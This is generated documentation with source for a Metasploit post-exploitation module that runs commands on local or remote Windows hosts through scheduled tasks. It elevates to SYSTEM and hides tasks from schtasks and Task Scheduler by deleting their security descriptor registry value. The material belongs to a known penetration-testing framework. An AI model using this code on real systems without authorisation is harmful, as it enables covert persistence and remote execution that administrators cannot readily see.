    raise TaskSchedulerSystemPrivsError, error
  end
  log_and_print('[Task Scheduler] Trying to get SYSTEM privilege')
  results = session.priv.getsystem
  if results[0]
    log_and_print('[Task Scheduler] Got SYSTEM privilege')
  else
    raise TaskSchedulerSystemPrivsError
  end
end

.log_and_print(msg, level: :debug) ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 290

def log_and_print(msg, level: :debug)
  case level
  when :debug
    vprint_status(msg) if respond_to?(:vprint_status)
    dlog(msg)
  when :status
    vprint_status(msg) if respond_to?(:vprint_status)
    ilog(msg)
  when :warning
    vprint_warning(msg) if respond_to?(:vprint_warning)
    wlog(msg)
  when :error
    vprint_error(msg) if respond_to?(:vprint_error)
    elog(msg)
  end
end

.reg_key_value_exists?(reg_key, reg_value, opts = {}) ⇒ Boolean

Returns:

• (Boolean)

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 432

def reg_key_value_exists?(reg_key, reg_value, opts = {})
  remote_host = opts[:remote_system].present? || datastore['ScheduleRemoteSystem'].present?
  result = false
  if remote_host
    begin
      result = run_one_off_task("reg query \\\"#{reg_key}\\\" /v \\\"#{reg_value}\\\"", check_success: true)
    rescue TaskSchedulerError => e
      log_and_print("[Task Scheduler] Could not query the key value remotely: #{e}")
    end
  else
    # The `/reg:64` flag is here to force read/write to the 64-bit
    # registry location. This is mandatory when the Meterpreter session
    # is x86 and the OS is x64. Since it is ignored on 32-bit systems,
    # we will always use it. Also, this option doesn't exist on Windows
    # XP/Server 2003, we need to remove it or it will fail.
    result = cmd_exec_with_result("reg query \"#{reg_key}\" /v \"#{reg_value}\"#{' /reg:64' unless @old_os}")[1]
  end

  result
end

.run_one_off_task(cmd, check_success: false) ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 386

def run_one_off_task(cmd, check_success: false)
  result = nil
  task_name = Rex::Text.rand_text_alpha(rand(8..15))
  log_and_print("[Task Scheduler] Creating the remote task #{task_name} to run '#{cmd}'")
  # Obfuscation is not possible since #run_one_off_task will be called
  # again by #task_create when it checks if the registry key value
  # exists. This will enter an infinite loop, creating tasks on the
  # remote host until it explodes. We certainly don't want this to happen!
  opts = { task_type: 'ONCE', runas: 'SYSTEM', obfuscation: 'NONE' }
  task_create(task_name, cmd, opts)

  log_and_print("[Task Scheduler] Starting the remote task #{task_name}")
  task_start(task_name)

  if check_success
    log_and_print('[Task Scheduler] Checking if the task succeeded')
    result = false
    try = 0
    task_info = nil
    has_run = loop do
      break false unless try < 5

      try += 1
      log_and_print("[Task Scheduler] Checking if the task has run already (##{try})")
      sleep 1
      task_info = task_query(task_name)[0]
      break true if task_has_run?(task_name, task_info) && !task_is_still_running?(task_name, task_info)
    end
    if has_run
      # The result is '0' if it succeeded
      last_result = task_info_field(task_name, task_info, 'Last Result')
      result = last_result == '0'
      if result
        log_and_print('[Task Scheduler] It seems to have succeeded')
      else
        log_and_print("[Task Scheduler] It seems to have failed (0x#{last_result.to_i.to_s(16)})", level: :warning)
      end
    end
  end

  log_and_print("[Task Scheduler] Deleting the remote task #{task_name}")
  task_delete(task_name, opts)

  result
end

.schtasks_exec(schtasks_cmd_str, with_result: false) ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 319

def schtasks_exec(schtasks_cmd_str, with_result: false)
  log_and_print("[Task Scheduler] executing command: #{schtasks_cmd_str}")
  # Using a longer timeout in case the task scheduler operation takes place
  # on a remote host. The default timeout is not enough.
  result = cmd_exec_with_result(schtasks_cmd_str, nil, 240)
  return result if with_result
  unless result[1]
    raise TaskSchedulerError, "Command execution failed: #{result[0]}"
  end
end

.task_has_run?(task_name, task_info) ⇒ Boolean

Returns:

• (Boolean)

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 376

def task_has_run?(task_name, task_info)
  # Depending on the Windows version, the 'Last Run Time' field is set
  # to '11/30/1999 12:00:00 AM' or 'N/A' when the task has not run yet
  !['11/30/1999 12:00:00 AM', 'N/A'].include?(task_info_field(task_name, task_info, 'Last Run Time'))
end

.task_info_field(task_name, task_info, key) ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 354

def task_info_field(task_name, task_info, key)
  task_name = task_name.delete_prefix('"').delete_suffix('"')
  key = key.delete_prefix('"').delete_suffix('"')
  task_info = task_info.lines
  title_array = task_info.shift&.split(',')
  return unless title_array

  index_taskname = title_array.find_index { |v| v == '"TaskName"' }
  return unless index_taskname

  index = title_array.find_index { |v| v == "\"#{key}\"" }
  return unless index

  task_info.each do |line|
    value_array = line.split(',')
    next unless value_array[index_taskname] == "\"\\#{task_name}\""

    return value_array[index]&.delete_prefix('"')&.delete_suffix('"')
  end
  nil
end

.task_is_still_running?(task_name, task_info) ⇒ Boolean

Returns:

• (Boolean)

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 382

def task_is_still_running?(task_name, task_info)
  task_info_field(task_name, task_info, 'Last Result') == SCHED_S_TASK_RUNNING.to_s
end

Instance Method Details

#initialize(info = {}) ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 34

def initialize(info = {})
  super

  register_advanced_options(
    [
      OptEnum.new(
        'ScheduleType', [
          true,
          'Schedule frequency for the new created task.',
          DEFAULT_SCHEDULE_TASK_TYPE,
          %w[MINUTE HOURLY DAILY WEEKLY MONTHLY ONCE ONSTART ONLOGON ONIDLE]
        ]
      ),
      # This defines the amount of minutes/hours/days/weeks/months,
      # depending on the ScheduleType value. When ONIDLE type is used,
      # this represents how many minutes the computer is idle before
      # the task starts. This value is not used with ONCE, ONSTART and
      # ONLOGON types
      OptInt.new(
        'ScheduleModifier', [
          false,
          'Schedule frequency modifier to define the amount of \'ScheduleType\'',
          DEFAULT_SCHEDULE_MODIFIER
        ],
        conditions: ['ScheduleType', 'in', %w[MINUTE HOURLY DAILY WEEKLY MONTHLY ONIDLE] ]
      ),
      # Remote task creation does not seem to work on Windows XP and Windows Server 2003
      OptString.new(
        'ScheduleRemoteSystem', [
          false,
          'The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.'
        ]
      ),
      # Use the permissions of this remote user account to schedule the
      # task remotely. It is recommended to inform the domain or '.\'
      # if it is a local user (e.g. MYDOMAIN\User1 or .\Administrator).
      # Also, when `ScheduleRemoteSystem` is set and not
      # `ScheduleUsername` and `SchedulePassword`, the current user
      # credentials are used.
      OptString.new(
        'ScheduleUsername', [
          false,
          'User account to schedule the task remotely.'
        ],
        conditions: ['ScheduleRemoteSystem', 'nin', [nil, '']]
      ),
      OptString.new(
        'SchedulePassword', [
          false,
          'Password of the user account set in \'ScheduleUsername\'.'
        ],
        conditions: ['ScheduleRemoteSystem', 'nin', [nil, '']]
      ),
      OptString.new(
        'ScheduleRunAs', [
          false,
          'Execute the task under this user account (default: SYSTEM).',
          DEFAULT_SCHEDULE_RUNAS
        ]
      ),
      # Hide the task from "schtasks /query" and Task Scheduler by
      # deleting the associated Security Descriptor registry value.
      # Note that SYSTEM privileges are needed for this. It will try to
      # elevate privileges if the session is not already running under
      # the SYSTEM user.',
      OptEnum.new(
        'ScheduleObfuscationTechnique', [
          false,
          'Hide the task from "schtasks /query" and Task Scheduler (WARNING: the current '\
          'session will be elevated to SYSTEM if it is not already) for this.',
          DEFAULT_SCHEDULE_OBFUSCATION_TECHNIQUE,
          %w[NONE SECURITY_DESC]
        ]
      )
    ], self.class
  )
end

#setup ⇒ Object

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 112

def setup
  super
  check_compatibility
end

#task_create(task_name, task_cmd, opts = {}) ⇒ Object

Create a scheduled task on a local or remote system. Options are set from the datastore but can be overridden with the opts hash.

Parameters:

• task_name (String) —

  The name of the task to be created

• task_cmd (String) —

  The command that will be executed by the task

• opts (Hash) (defaults to: {}) —

  The options to create the task

Options Hash (opts):

• :task_type (String) —

  The schedule frequency for the new created task. This can be one of these type: MINUTE HOURLY DAILY WEEKLY MONTHLY ONCE ONSTART ONLOGON ONIDLE.

• :modifier (String) —

  The schedule frequency modifier to define the amount of :task_type

• :runas (String) —

  The account under which the task will be executed

• :obfuscation (String) —

  The obfuscation technique used to hide the task from "schtasks /query" and Task Scheduler when the OS support it. The possible technique are:

  • NONE: no obfuscation will be performed

  • SECURITY_DESC: The Security Descriptor registry entry corresponding to this task is removed to hide it. It will try to elevate privileges if the session is not already running under the SYSTEM user.

• :remote_system (String) —

  The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.

• :username (String) —

  The user account to schedule the task remotely

• :password (String) —

  The password of the user account set in :username

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 141

def task_create(task_name, task_cmd, opts = {})
  schtasks_cmd = ['/create']
  task_type = opts[:task_type] || (datastore['ScheduleType'].present? ? datastore['ScheduleType'] : DEFAULT_SCHEDULE_TASK_TYPE)
  schtasks_cmd += ['/tn', "\"#{task_name}\"", '/tr', "\"#{task_cmd}\"", '/sc', task_type]
  if %w[MINUTE HOURLY DAILY WEEKLY MONTHLY ONIDLE].include?(task_type)
    modifier = opts[:modifier] || (datastore['ScheduleModifier'].present? ? datastore['ScheduleModifier'].to_s : DEFAULT_SCHEDULE_MODIFIER.to_s)
    if task_type == 'ONIDLE'
      schtasks_cmd += ['/i', modifier]
    else
      schtasks_cmd += ['/mo', modifier]
    end
  end
  unless %w[ONSTART ONLOGON ONIDLE].include?(task_type)
    schtasks_cmd += ['/st', '00:00:00']
  end
  runas = opts[:runas] || (datastore['ScheduleRunAs'].present? ? datastore['ScheduleRunAs'] : DEFAULT_SCHEDULE_RUNAS)
  schtasks_cmd += ['/ru', runas]
  schtasks_cmd << '/f' unless @old_schtasks

  begin
    schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts))
  rescue TaskSchedulerError => e
    log_and_print("[Task Scheduler] Task creation failed: #{e}", level: :error)
    raise
  end

  # We want to make sure `opts` has preference over the datastore option
  obfuscation = opts.fetch(:obfuscation, datastore['ScheduleObfuscationTechnique'])
  return if obfuscation.nil? || obfuscation == 'NONE'

  begin
    delete_reg_key_value("#{TASK_REG_KEY}\\#{task_name}", TASK_SD_REG_VALUE, opts)
  rescue TaskSchedulerObfuscationError => e
    log_and_print("[Task Scheduler] Task obfuscation failed: #{e}")
    raise TaskSchedulerObfuscationError, 'Task obfuscation failed (the task has been created but won\'t be hidden)'
  end
end

#task_delete(task_name, opts = {}) ⇒ Object

Delete a scheduled task. Options are set from the datastore but can be overridden with the opts hash.

Parameters:

• task_name (String) —

  The name of the task to be deleted

• opts (Hash) (defaults to: {}) —

  The options to delete the task

Options Hash (opts):

• :obfuscation (String) —

  The obfuscation technique used to hide the task from "schtasks /query" and Task Scheduler when the OS support it. Set this option to the correct technique in order to be able to delete the task properly. The possible technique are:

  • NONE: no obfuscation has been performed

  • SECURITY_DESC: The Security Descriptor registry entry corresponding to this task was removed to hide it. This will restore it before attempting to delete the task. For this, it will also try to elevate privileges if the session is not already running under the SYSTEM user.

• :remote_system (String) —

  The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.

• :username (String) —

  The user account to run the task remotely

• :password (String) —

  The password of the user account set in :username

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 217

def task_delete(task_name, opts = {})
  # We want to make sure `opts` has preference over the datastore option
  obfuscation = opts.fetch(:obfuscation, datastore['ScheduleObfuscationTechnique'])
  if obfuscation && obfuscation != 'NONE'
    begin
      add_reg_key_value("#{TASK_REG_KEY}\\#{task_name}", TASK_SD_REG_VALUE, DEFAULT_SD, 'REG_BINARY', opts)
    rescue TaskSchedulerObfuscationError => e
      log_and_print("[Task Scheduler] Task deletion failed: #{e}")
      raise TaskSchedulerError, 'Task deobfuscation failed. The task cannot be deleted.'
    end
  end

  schtasks_cmd = ['/delete', '/tn', task_name, '/f']
  schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts))
rescue TaskSchedulerError => e
  log_and_print("[Task Scheduler] Task deletion failed: #{e}", level: :error)
  raise
end

#task_query(task_name, opts = {}) ⇒ Object

Display the scheduled task information. Options are set from the datastore but can be overridden with the opts hash.

Parameters:

• task_name (String) —

  The name of the task to be display

• opts (Hash) (defaults to: {}) —

  The options to display the task

Options Hash (opts):

• :remote_system (String) —

  The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.

• :username (String) —

  The user account to run the task remotely

• :password (String) —

  The password of the user account set in :username

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 246

def task_query(task_name, opts = {})
  if @old_os
    schtasks_cmd = ['/query', '/v', '/fo', 'csv']
  else
    schtasks_cmd = ['/query', '/tn', task_name, '/v', '/fo', 'csv', '/hresult']
  end
  schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts), with_result: true)
rescue TaskSchedulerError => e
  log_and_print("[Task Scheduler] Task querying failed: #{e}", level: :error)
  raise
end

#task_start(task_name, opts = {}) ⇒ Object

Immediately run a scheduled task. Options are set from the datastore but can be overridden with the opts hash.

Parameters:

• task_name (String) —

  The name of the task to be run

• opts (Hash) (defaults to: {}) —

  The options to run the task

Options Hash (opts):

• :remote_system (String) —

  The remote system to connect to (prefer FQDN to IP). Not compatible with Windows XP/Server 2003.

• :username (String) —

  The user account to run the task remotely

• :password (String) —

  The password of the user account set in :username

# File 'lib/msf/core/post/windows/task_scheduler.rb', line 189

def task_start(task_name, opts = {})
  schtasks_cmd = ['/run', '/tn', task_name]
  schtasks_exec(get_schtasks_cmd_string(schtasks_cmd, opts))
rescue TaskSchedulerError => e
  log_and_print("[Task Scheduler] Task starting failed: #{e}", level: :error)
  raise
end